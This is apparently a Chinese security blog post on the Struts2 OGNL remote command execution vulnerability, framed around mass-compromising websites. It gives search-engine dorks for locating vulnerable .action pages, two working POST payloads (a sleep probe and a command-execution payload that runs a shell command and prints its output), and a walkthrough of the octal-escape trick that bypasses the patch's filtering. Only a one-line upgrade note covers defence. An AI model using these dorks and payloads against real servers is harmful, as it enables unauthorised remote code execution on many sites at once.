我喜欢黑夜,喜欢网络安全,孤独寂寞的黑夜里,我只需要,一包烟,一台笔记本...
更多
首  页>>Oday>>Struts2漏洞批量拿站及Struts2远程命令执行漏洞分析及防范
Struts2漏洞批量拿站及Struts2远程命令执行漏洞分析及防范
27392 阅
1 推荐
0 评论

Struts2漏洞批量拿站及Struts2远程命令执行漏洞分析及防范

批量拿站:百度 google 关键字:inurl:.action? inurl:.action?id inurl:.action?mid inurl:.action?参数名

分析:

Struts 2是在 struts 和WebWork的技术基础上进行了合并的全新的框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.

近期Struts2爆发了一远程命令执行漏洞,知道wooyun的童鞋应该清楚其危害性和火爆程度,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出wooyun livers大大针对此漏洞的分析.

以POST的方式提交绕过对输入参数的部分过滤。

('43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(b))&('43c')(('43_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用43(8进制的#)进行绕过。

实现交互的shell.
('43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(b))&('43c')(('43_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET')(c))&(g)(('43mycmd75'ls40u002dl'')(d))&(h)(('43myret75@java.lang.Runtime@getRuntime().exec(43mycmd)')(d))&(i)(('43mydat75new40java.io.DataInputStream(43myret.getInputStream())')(d))&(j)(('43myres75new40byte[51020]')(d))&(k)(('43mydat.readFully(43myres)')(d))&(l)(('43mystr75new40java.lang.String(43myres)')(d))&(m)(('43myout75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('43myout.getWriter().println(43mystr)')(d))

75 (=的8进制)40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用40来替代。

这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(43myret.getInputStream())') 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

另外再贴一下wooyun关于此struts2漏洞的讨论帖子的Url:http://zone.wooyun.org/content/200

livers大大的blog:http://livers.sinaapp.com/

Struts2漏洞修复方案:

下载最新的版本2.3.4 :http://struts.apache.org/download.cgi#struts234

或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

已经有 ( 0 ) 位网友对此发表了自己的看法,你也评一评吧! 此文不错,我要推荐-->    推 荐
欢迎参与讨论,请在这里发表您的看法、交流您的观点@禁止各种脚本

  • 点击Top
  • 推荐Top
  • 评论Top
更 多>>
本站采用Java语言开发,Spring框架,欢迎朋友们提意见。重新对页面进行布局,修改了程序,方便开源使用,由于本人美工真的不行 ,很少用背景图片,页面基本都用背景色...
主题:无色无味 | 网站地图|
Copyright (c) 2012-2013 www.shack2.org All Rights Reserved. | 空ICP备111111111号 | 程序设计: shack2 Powered by SJBlog v1.0 联系QQ:1341413415